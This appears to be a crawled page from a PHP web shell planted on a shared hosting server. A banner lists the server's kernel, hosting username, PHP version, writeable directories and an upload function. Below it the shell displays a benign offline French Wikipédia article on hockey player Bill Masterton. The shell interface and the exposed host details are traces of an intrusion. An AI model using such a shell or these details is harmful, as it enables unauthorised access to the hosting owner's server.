Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/encyclo/articles/b/i/l/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/encyclo/articles/b/////i/l/Bill_Masterton_61c8.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr" dir="ltr">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
	<!-- headlinks removed -->
	<link rel="shortcut icon" href="../../../../misc/favicon.ico"/>
    <title>Bill Masterton - Wikipédia</title>
    <style type="text/css">/*<![CDATA[*/ @import "../../../../skins/offline/main.css"; /*]]>*/</style>
    <link rel="stylesheet" type="text/css" media="print" href="../../../../skins/common/commonPrint.css" />
    <!--[if lt IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE50Fixes.css";</style><![endif]-->
    <!--[if IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE55Fixes.css";</style><![endif]-->
    <!--[if IE 6]><style type="text/css">@import "../../../../skins/monobook/IE60Fixes.css";</style><![endif]-->
    <!--[if IE]><script type="text/javascript" src="../../../../skins/common/IEFixes.js"></script>
    <meta http-equiv="imagetoolbar" content="no" /><![endif]-->
    <script type="text/javascript" src="../../../../skins/common/wikibits.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/md5.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/utf8.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/lookup.js"></script>
    <script type="text/javascript" src="../../../../raw/gen.js"></script>        <style type="text/css">/*<![CDATA[*/
@import "../../../../raw/MediaWiki%7ECommon.css";
@import "../../../../raw/MediaWiki%7EMonobook.css";
@import "../../../../raw/gen.css";
/*]]>*/</style>          </head>
  <body
    class="ns-0">
    <div id="globalWrapper">
      <div id="column-content">
	<div id="content">
	  <a name="top" id="contentTop"></a>
	        <h1 class="firstHeading">Bill Masterton</h1>
	  <div id="bodyContent">
	    <h3 id="siteSub">Un article de Wikipédia, l'encyclopédie libre.</h3>
	    <div id="contentSub"></div>
	    	    	    <!-- start content -->
	    <p><b>Bill Masterton</b> (né le <a href="../../../../articles/1/6/_/16_ao%C3%BBt.html" title="16 août">16 août</a> <a href="../../../../articles/1/9/3/1938.html" title="1938">1938</a> à <a href="../../../../articles/w/i/n/Winnipeg.html" title="Winnipeg">Winnipeg</a> au <a href="../../../../articles/m/a/n/Manitoba.html" title="Manitoba">Manitoba</a> au <a href="../../../../articles/c/a/n/Canada.html" title="Canada">Canada</a> - décédé le <a href="../../../../articles/1/5/_/15_janvier.html" title="15 janvier">15 janvier</a> <a href="../../../../articles/1/9/6/1968.html" title="1968">1968</a>) était un joueur de <a href="../../../../articles/h/o/c/Hockey_sur_glace.html" title="Hockey sur glace">hockey sur glace</a> professionnel de la <a href="../../../../articles/l/i/g/Ligue_nationale_de_hockey.html" title="Ligue nationale de hockey">Ligue nationale de hockey</a>. Il portait le numéro 19 et jouait en tant que <a href="../../../../articles/c/e/n/Centre_%28hockey_sur_glace%29.html" title="Centre (hockey sur glace)">centre</a>.</p>
<table id="toc" class="toc" summary="Sommaire">
<tr>
<td>
<div id="toctitle">
<h2>Sommaire</h2>
</div>
<ul>
<li class="toclevel-1"><a href="#Carri.C3.A8re"><span class="tocnumber">1</span> <span class="toctext">Carrière</span></a></li>
<li class="toclevel-1"><a href="#Cons.C3.A9quences_de_sa_mort"><span class="tocnumber">2</span> <span class="toctext">Conséquences de sa mort</span></a>
<ul>
<li class="toclevel-2"><a href="#Statistiques_en_carri.C3.A8re"><span class="tocnumber">2.1</span> <span class="toctext">Statistiques en carrière</span></a></li>
</ul>
</li>
<li class="toclevel-1"><a href="#R.C3.A9f.C3.A9rences"><span class="tocnumber">3</span> <span class="toctext">Références</span></a></li>
<li class="toclevel-1"><a href="#Voir_aussi"><span class="tocnumber">4</span> <span class="toctext">Voir aussi</span></a></li>
</ul>
</td>
</tr>
</table>
<script type="text/javascript">
//<![CDATA[
 if (window.showTocToggle) { var tocShowText = "afficher"; var tocHideText = "masquer"; showTocToggle(); } 
//]]>
</script>
<p><a name="Carri.C3.A8re" id="Carri.C3.A8re"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/i/l/Bill_Masterton_61c8.html" title="Modifier la section&#160;: Carrière">modifier</a>]</span> <span class="mw-headline">Carrière</span></h2>
<p>Peu de temps après avoir fini ses études à l'<a href="../../../../articles/u/n/i/Universit%C3%A9_de_Denver_a800.html" title="Université de Denver">Université de Denver</a>, Masterton est recruté par les <a href="../../../../articles/c/a/n/Canadiens_de_Montr%C3%A9al_5daf.html" title="Canadiens de Montréal">Canadiens de Montréal</a> en 1961. Il ne joue pas pour autant dans la LNH et rejoint dans les ligues mineures les Canadiens de Hull-Ottawa avant d'être recruté par la nouvelle <a href="../../../../articles/f/r/a/Franchise_%28sport%29.html" title="Franchise (sport)">franchise</a> de la LNH en <a href="../../../../articles/s/a/i/Saison_LNH_1967-68_fb91.html" class="mw-redirect" title="Saison LNH 1967-68">1967</a>: les <a href="../../../../articles/n/o/r/North_Stars_du_Minnesota_9fae.html" title="North Stars du Minnesota">North Stars du Minnesota</a>.</p>
<p>Il inscrit son premier <a href="../../../../articles/b/u/t/But_%28hockey_sur_glace%29.html" title="But (hockey sur glace)">but</a> dans la LNH le 11 octobre 1967 mais le 13 janvier de la même saison, il meurt au cours d'un match de hockey contre les <a href="../../../../articles/s/e/a/Seals_d%27Oakland_b7ee.html" class="mw-redirect" title="Seals d'Oakland">Seals d'Oakland</a> dans la <a href="../../../../articles/p/a/t/Patinoire_%28hockey_sur_glace%29.html" class="mw-redirect" title="Patinoire (hockey sur glace)">patinoire</a> <a href="../../../../articles/m/e/t/Metropolitan_Sports_Center_b184.html" class="mw-redirect" title="Metropolitan Sports Center">Metropolitan Sports Center</a>. Au cours de ce match, il reçoit une <a href="../../../../articles/m/i/s/Mise_en_%C3%A9chec.html" title="Mise en échec">mise en échec</a> de la part de Larry Cahan et <a href="../../../../articles/r/o/n/Ron_Harris_%28hockey_sur_glace%29_a719.html" title="Ron Harris (hockey sur glace)">Ron Harris</a>. Il tombe alors à la renverse sur la glace, la tête en arrière venant frapper la glace. Une grande quantité de sang s'échappe et les médecins ne peuvent l'opérer. Il décèdera deux jours plus tard.</p>
<p><a name="Cons.C3.A9quences_de_sa_mort" id="Cons.C3.A9quences_de_sa_mort"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/i/l/Bill_Masterton_61c8.html" title="Modifier la section&#160;: Conséquences de sa mort">modifier</a>]</span> <span class="mw-headline">Conséquences de sa mort</span></h2>
<div class="thumb tright">
<div class="thumbinner" style="width:152px;"><a href="../../../../articles/h/h/o/Image%7EHhof_masterton.jpg_fb38.html" class="image" title="Le Trophée Bill Masterton"><img alt="Le Trophée Bill Masterton" src="../../../../images/shared/thumb/d/db/Hhof_masterton.jpg/150px-Hhof_masterton.jpg" width="150" height="349" border="0" class="thumbimage" /></a>
<div class="thumbcaption">
<div class="magnify"><a href="../../../../articles/h/h/o/Image%7EHhof_masterton.jpg_fb38.html" class="internal" title="Agrandir"><img src="../../../../skins/common/images/magnify-clip.png" width="15" height="11" alt="" /></a></div>
Le Trophée Bill Masterton</div>
</div>
</div>
<p>Il est le premier joueur de la LNH à mourir de suites directes d'une blessure au cours d'un match. Sa mort aura pour conséquence d'augmenter la volonté des joueurs de la ligue de jouer avec des casques, qui n'étaient pas répandus à cette époque.</p>
<p>Son numéro sera retiré par les North Stars en <a href="../../../../articles/1/9/8/1987.html" title="1987">1987</a> six ans avant le départ de la franchise pour <a href="../../../../articles/d/a/l/Dallas.html" title="Dallas">Dallas</a>. <sup id="cite_ref-0" class="reference"><a href="#cite_note-0" title=""><span class="cite_crochet">[</span>1<span class="cite_crochet">]</span></a></sup></p>
<p>Le <a href="../../../../articles/t/r/o/Troph%C3%A9e_Bill_Masterton_8e3b.html" title="Trophée Bill Masterton">Trophée Bill Masterton</a> est remis chaque année au joueur de hockey ayant démontré le plus de qualité de persévérance et esprit d'équipe au cours de la saison.</p>
<p><a name="Statistiques_en_carri.C3.A8re" id="Statistiques_en_carri.C3.A8re"></a></p>
<h3><span class="editsection">[<a href="../../../../articles/b/i/l/Bill_Masterton_61c8.html" title="Modifier la section&#160;: Statistiques en carrière">modifier</a>]</span> <span class="mw-headline"><a href="../../../../articles/s/t/a/Statistiques_du_hockey_sur_glace.html" title="Statistiques du hockey sur glace">Statistiques</a> en carrière</span></h3>
<table bgcolor="#F7F8FF" cellpadding="3" cellspacing="0" border="1" style="font-size: 95%; text-align: center; border: gray solid 1px; border-collapse: collapse;">
<tr bgcolor="#E0E0E0">
<th rowspan="2">Saison</th>
<th rowspan="2">Équipe</th>
<th rowspan="2">Ligue</th>
<th rowspan="11" bgcolor="#FFFFFF"></th>
<th colspan="5">Saison régulière</th>
<th rowspan="11" bgcolor="#FFFFFF"></th>
<th align="center" colspan="5">Séries éliminatoires</th>
</tr>
<tr align="center" bgcolor="#E0E0E0">
<th>PJ</th>
<th>B</th>
<th>A</th>
<th>Pts</th>
<th>PUN</th>
<th>PJ</th>
<th>B</th>
<th>A</th>
<th>Pts</th>
<th>PUN</th>
</tr>
<tr align="center">
<td>1958-59</td>
<td>Université de Denver</td>
<td><a href="../../../../articles/c/h/a/Championnat_NCAA_de_hockey_sur_glace_fc7a.html" title="Championnat NCAA de hockey sur glace">NCAA</a></td>
<td>23</td>
<td>21</td>
<td>28</td>
<td>49</td>
<td>6</td>
<td>&#160;</td>
<td>&#160;</td>
<td>&#160;</td>
<td>&#160;</td>
<td>&#160;</td>
</tr>
<tr align="center" bgcolor="#F0F0F0">
<td>1959-60</td>
<td>Université de Denver</td>
<td>NCAA</td>
<td>34</td>
<td>21</td>
<td>46</td>
<td>67</td>
<td>2</td>
<td>&#160;</td>
<td>&#160;</td>
<td>&#160;</td>
<td>&#160;</td>
<td>&#160;</td>
</tr>
<tr align="center">
<td>1960-61</td>
<td>Université de Denver</td>
<td>NCAA</td>
<td>32</td>
<td>24</td>
<td>56</td>
<td>80</td>
<td>4</td>
<td>&#160;</td>
<td>&#160;</td>
<td>&#160;</td>
<td>&#160;</td>
<td>&#160;</td>
</tr>
<tr align="center" bgcolor="#F0F0F0">
<td>1961-62</td>
<td>Canadiens de Hull-Ottawa</td>
<td>EPHL</td>
<td>65</td>
<td>31</td>
<td>35</td>
<td>66</td>
<td>18</td>
<td>12</td>
<td>0</td>
<td>4</td>
<td>4</td>
<td>0</td>
</tr>
<tr align="center">
<td>1962-63</td>
<td><a href="../../../../articles/b/a/r/Barons_de_Cleveland_%281937-1972%29_8f7a.html" title="Barons de Cleveland (1937-1972)">Barons de Cleveland</a></td>
<td><a href="../../../../articles/l/i/g/Ligue_am%C3%A9ricaine_de_hockey.html" title="Ligue américaine de hockey">LAH</a></td>
<td>72</td>
<td>27</td>
<td>55</td>
<td>82</td>
<td>12</td>
<td>7</td>
<td>4</td>
<td>5</td>
<td>9</td>
<td>2</td>
</tr>
<tr align="center" bgcolor="#F0F0F0">
<td>1964-65</td>
<td>Steers de Saint-Paul</td>
<td><a href="../../../../articles/n/o/r/North_American_Hockey_League_ba76.html" title="North American Hockey League">NAHL</a></td>
<td>0</td>
<td>23</td>
<td>23</td>
<td>46</td>
<td>0</td>
<td>&#160;</td>
<td>&#160;</td>
<td>&#160;</td>
<td>&#160;</td>
<td>&#160;</td>
</tr>
<tr align="center">
<td>1965-66</td>
<td>Steers de Saint-Paul</td>
<td>NAHL</td>
<td>28</td>
<td>27</td>
<td>40</td>
<td>67</td>
<td>0</td>
<td>&#160;</td>
<td>&#160;</td>
<td>&#160;</td>
<td>&#160;</td>
<td>&#160;</td>
</tr>
<tr align="center" bgcolor="#F0F0F0">
<td>1966-67</td>
<td><a href="../../../../articles/u/s/_/US_National_Team_Development_Program_c8b1.html" class="mw-redirect" title="US National Team Development Program">États-Unis</a></td>
<td>NAHL</td>
<td>23</td>
<td>10</td>
<td>29</td>
<td>39</td>
<td>4</td>
<td>&#160;</td>
<td>&#160;</td>
<td>&#160;</td>
<td>&#160;</td>
<td>&#160;</td>
</tr>
<tr align="center">
<td>1967-68</td>
<td>North Stars du Minnesota</td>
<td>LNH</td>
<td>38</td>
<td>4</td>
<td>8</td>
<td>12</td>
<td>4</td>
<td>&#160;</td>
<td>&#160;</td>
<td>&#160;</td>
<td>&#160;</td>
<td>&#160;</td>
</tr>
</table>
<p><small><i>Source <sup id="cite_ref-1" class="reference"><a href="#cite_note-1" title=""><span class="cite_crochet">[</span>2<span class="cite_crochet">]</span></a></sup></i></small></p>
<p><a name="R.C3.A9f.C3.A9rences" id="R.C3.A9f.C3.A9rences"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/i/l/Bill_Masterton_61c8.html" title="Modifier la section&#160;: Références">modifier</a>]</span> <span class="mw-headline">Références</span></h2>
<div style="font-size: 85%">
<ol class="references">
<li id="cite_note-0"><span class="renvois_vers_le_texte"><a href="#cite_ref-0" title="">↑</a></span> <span style="cursor:help;font-family:monospace;font-weight:bold;font-size:small" title="Langue&#160;: anglais">(en)</span> <a href="http://www.dallasstars.com/stars/history-retired.jsp" class="external text" title="http://www.dallasstars.com/stars/history-retired.jsp" rel="nofollow">Les maillots retirés des Stars</a></li>
<li id="cite_note-1"><span class="renvois_vers_le_texte"><a href="#cite_ref-1" title="">↑</a></span> <span style="cursor:help;font-family:monospace;font-weight:bold;font-size:small" title="Langue&#160;: anglais">(en)</span> <a href="http://www.hockeydb.com/ihdb/stats/pdisplay.php3?pid=12409" class="external text" title="http://www.hockeydb.com/ihdb/stats/pdisplay.php3?pid=12409" rel="nofollow">Fiche sur www.hockeydb.com</a></li>
</ol>
</div>
<p><a name="Voir_aussi" id="Voir_aussi"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/i/l/Bill_Masterton_61c8.html" title="Modifier la section&#160;: Voir aussi">modifier</a>]</span> <span class="mw-headline">Voir aussi</span></h2>
<ul id="bandeau-portail" class="bandeau-portail">
<li><span class="bandeau-portail-element"><span class="bandeau-portail-icone"><a href="../../../../articles/a/m/a/Image%7EAmateur_ice_hockey_skates_trans.png_a8ea.html" class="image" title="Icône du portail du hockey sur glace"><img alt="Icône du portail du hockey sur glace" src="../../../../images/shared/thumb/6/69/Amateur_ice_hockey_skates_trans.png/26px-Amateur_ice_hockey_skates_trans.png" width="26" height="24" border="0" /></a></span> <span class="bandeau-portail-texte"><a href="../../../../articles/h/o/c/Portail%7EHockey_sur_glace_febc.html" title="Portail:Hockey sur glace">Portail du hockey sur glace</a></span></span></li>
<li><span class="bandeau-portail-element"><span class="bandeau-portail-icone"><a href="../../../../articles/f/l/a/Image%7EFlag_of_Canada.svg_0783.html" class="image" title="Icône du portail du Canada"><img alt="Icône du portail du Canada" src="../../../../images/shared/thumb/c/cf/Flag_of_Canada.svg/48px-Flag_of_Canada.svg.png" width="48" height="24" border="0" /></a></span> <span class="bandeau-portail-texte"><a href="../../../../articles/c/a/n/Portail%7ECanada_7cef.html" title="Portail:Canada">Portail du Canada</a></span></span></li>
</ul>


<!-- 
NewPP limit report
Preprocessor node count: 206/1000000
Post-expand include size: 2961/2048000 bytes
Template argument size: 258/2048000 bytes
Expensive parser function count: 0/500
-->
<div class="printfooter">
</div>
	    <div id="catlinks"><div id='catlinks' class='catlinks'><div id="mw-normal-catlinks"><a href="../../../../articles/a/c/c/Cat%C3%A9gorie%7EAccueil_1aae.html" title="Catégorie:Accueil">Catégories</a>&nbsp;:&#32;<span dir='ltr'><a href="../../../../articles/n/a/i/Cat%C3%A9gorie%7ENaissance_en_1938_7992.html" title="Catégorie:Naissance en 1938">Naissance en 1938</a></span> | <span dir='ltr'><a href="../../../../articles/d/%C3%A9/c/Cat%C3%A9gorie%7ED%C3%A9c%C3%A8s_en_1968_2649.html" title="Catégorie:Décès en 1968">Décès en 1968</a></span> | <span dir='ltr'><a href="../../../../articles/j/o/u/Cat%C3%A9gorie%7EJoueur_canadien_de_hockey_sur_glace_ce80.html" title="Catégorie:Joueur canadien de hockey sur glace">Joueur canadien de hockey sur glace</a></span> | <span dir='ltr'><a href="../../../../articles/m/o/r/Cat%C3%A9gorie%7EMort_en_plein_match_a5c0.html" title="Catégorie:Mort en plein match">Mort en plein match</a></span> | <span dir='ltr'><a href="../../../../articles/j/o/u/Cat%C3%A9gorie%7EJoueur_des_North_Stars_du_Minnesota_aed0.html" title="Catégorie:Joueur des North Stars du Minnesota">Joueur des North Stars du Minnesota</a></span> | <span dir='ltr'><a href="../../../../articles/j/o/u/Cat%C3%A9gorie%7EJoueur_des_Barons_de_Cleveland_fbeb.html" title="Catégorie:Joueur des Barons de Cleveland">Joueur des Barons de Cleveland</a></span> | <span dir='ltr'><a href="../../../../articles/j/o/u/Cat%C3%A9gorie%7EJoueur_de_la_ligue_nationale_de_hockey_ayant_son_num%C3%A9ro_retir%C3%A9_53fe.html" title="Catégorie:Joueur de la ligue nationale de hockey ayant son numéro retiré">Joueur de la ligue nationale de hockey ayant son numéro retiré</a></span></div><div id="mw-hidden-catlinks" class="mw-hidden-cats-hidden">Catégories cachées&nbsp;:&#32;<span dir='ltr'><a href="../../../../articles/p/o/r/Cat%C3%A9gorie%7EPortail%7ESport_Articles_li%C3%A9s_b720.html" title="Catégorie:Portail:Sport/Articles liés">Portail:Sport/Articles liés</a></span> | <span dir='ltr'><a href="../../../../articles/p/o/r/Cat%C3%A9gorie%7EPortail%7EHockey_sur_glace_Articles_li%C3%A9s_6c9c.html" title="Catégorie:Portail:Hockey sur glace/Articles liés">Portail:Hockey sur glace/Articles liés</a></span></div></div></div>	    <!-- end content -->
	    <div class="visualClear"></div>
	  </div>
	</div>
      </div>
      <div id="column-one">
	<div id="p-cactions" class="portlet">
	  <h5>Views</h5>
	  <ul>
	    <li id="ca-nstab-main"
	       class="selected"	       ><a href="../../../../articles/b/i/l/Bill_Masterton_61c8.html">Article</a></li><li id="ca-talk"
	       	       ><a href="../../../../articles/b/i/l/Discuter%7EBill_Masterton_88fb.html">Discussion</a></li><li id="ca-current"
	       	       ><a href="http://fr.wikipedia.org/wiki/Bill_Masterton">Version actuelle</a></li>	  </ul>
	</div>
	<div class="portlet" id="p-logo">
	  <a style="background-image: url(../../../../misc/Wiki.png);"
	    href="../../../../index.html"
	    title="Accueil"></a>
	</div>
	<script type="text/javascript"> if (window.isMSIE55) fixalpha(); </script>
		<div class='portlet' id='p-navigation'>
	  <h5>Navigation</h5>
	  <div class='pBody'>
	    <ul>
	    	      <li id="n-mainpage"><a href="../../../../index.html">Accueil</a></li>
	     	      <li id="n-thema"><a href="../../../../articles/a/c/c/Portail%7EAccueil_bcc9.html">Portails thématiques</a></li>
	     	      <li id="n-alphindex"><a href="../../../../articles/t/o/u/Special%7EToutes_les_pages_fabc.html">Index alphabétique</a></li>
	     	      <li id="n-randompage"><a href="../../../../articles/p/a/g/Special%7EPage_au_hasard_9c81.html">Un article au hasard</a></li>
	     	      <li id="n-contact"><a href="../../../../articles/c/o/n/Wikip%C3%A9dia%7EContact_929e.html">Contacter Wikipédia</a></li>
	     	    </ul>
	  </div>
	</div>
		<div class='portlet' id='p-Contribuer'>
	  <h5>Contribuer</h5>
	  <div class='pBody'>
	    <ul>
	    	      <li id="n-help"><a href="../../../../articles/s/o/m/Aide%7ESommaire_c9f0.html">Aide</a></li>
	     	      <li id="n-portal"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_5272.html">Communauté</a></li>
	     	      <li id="n-recentchanges"><a href="../../../../articles/m/o/d/Special%7EModifications_r%C3%A9centes_b222.html">Modifications récentes</a></li>
	     	      <li id="n-aboutwp"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_des_nouveaux_arrivants_0784.html">Accueil des nouveaux arrivants</a></li>
	     	      <li id="n-sitesupport"><a href="http://meta.wikimedia.org/wiki/Faire_un_don:_explication">Faire un don</a></li>
	     	    </ul>
	  </div>
	</div>
		<div id="p-search" class="portlet">
	  <h5><label for="searchInput">Rechercher</label></h5>
	  <div id="searchBody" class="pBody">
	    <form action="javascript:goToStatic(3)" id="searchform"><div>
	      <input id="searchInput" name="search" type="text"
	        accesskey="C" value="" />
	      <input type='submit' name="go" class="searchButton" id="searchGoButton"
	        value="Aller" />
	    </div></form>
	  </div>
	</div>
	<div id="p-lang" class="portlet">
	  <h5>Autres langues</h5>
	  <div class="pBody">
	    <ul>
	      	      <li>
	      <a href="../../../../../de/articles/b/i/l/Bill_Masterton_61c8.html">Deutsch</a>
	      </li>
	      	      <li>
	      <a href="../../../../../en/articles/b/i/l/Bill_Masterton_61c8.html">English</a>
	      </li>
	      	      <li>
	      <a href="../../../../../fi/articles/b/i/l/Bill_Masterton_61c8.html">Suomi</a>
	      </li>
	      	    </ul>
	  </div>
	</div>
	      </div><!-- end of the left (by default at least) column -->
      <div class="visualClear"></div>
      <div id="footer">
    <div id="f-poweredbyico"><a href="http://www.mediawiki.org/"><img src="../../../../skins/common/images/poweredby_mediawiki_88x31.png" alt="Powered by MediaWiki" /></a></div>	<div id="f-copyrightico"><a href="http://wikimediafoundation.org/"><img src="../../../../misc/wikimedia-button.png" border="0" alt="Wikimedia Foundation"/></a></div>	<ul id="f-list">
	  	  	  <li id="f-credits">Cette page a été modifiée pour la dernière fois le 30 mai 2008 à 20:48 par Utilisateur <a href="../../../../articles/t/a/r/Utilisateur%7ETaraO_7738.html" title="Utilisateur:TaraO">TaraO</a>. Basé sur le travail de Utilisateur(s) <a href="../../../../articles/b/a/d/Utilisateur%7EBadmood_4dbf.html" title="Utilisateur:Badmood">Badmood</a>, <a href="../../../../articles/t/s/u/Utilisateur%7ETsunami330_4ad7.html" title="Utilisateur:Tsunami330">Tsunami330</a>, <a href="../../../../articles/c/h/i/Utilisateur%7EChicobot_8e22.html" title="Utilisateur:Chicobot">Chicobot</a> et <a href="../../../../articles/e/l/a/Utilisateur%7EElapied_3e46.html" title="Utilisateur:Elapied">Elapied</a> et Utilisateur(s) non enregistré(s) de Wikipédia.</li>	  <li id="f-copyright"><span style="white-space:normal"><a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Droit_d'auteur" title="Droit d'auteur">Droit d'auteur</a> : Tous les textes sont disponibles sous les termes de la <a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Licence_de_documentation_libre_GNU" title="GFDL">licence de documentation libre GNU</a> (GFDL).<br/>
Wikipedia® est une marque déposée de la <a href="http://wikimediafoundation.org/wiki/Accueil" title="Wikimedia Foundation">Wikimedia Foundation, Inc.</a>, organisation de bienfaisance régie par le paragraphe <a class="internal" href="http://en.wikipedia.org/wiki/501(c)" title="501(c)">501(c)(3)</a> du code fiscal des États-Unis.</span><br/></li>	  <li id="f-about"><a href="../../../../articles/%C3%A0/_/p/Wikip%C3%A9dia%7E%C3%80_propos_5de1.html" title="Wikipédia:À propos">À propos de Wikipédia</a></li>	  <li id="f-disclaimer"><a href="../../../../articles/a/v/e/Wikip%C3%A9dia%7EAvertissements_g%C3%A9n%C3%A9raux_fef1.html" title="Wikipédia:Avertissements généraux">Avertissements</a></li>	  	</ul>
      </div>
    </div>
  </body>
</html>

SAMX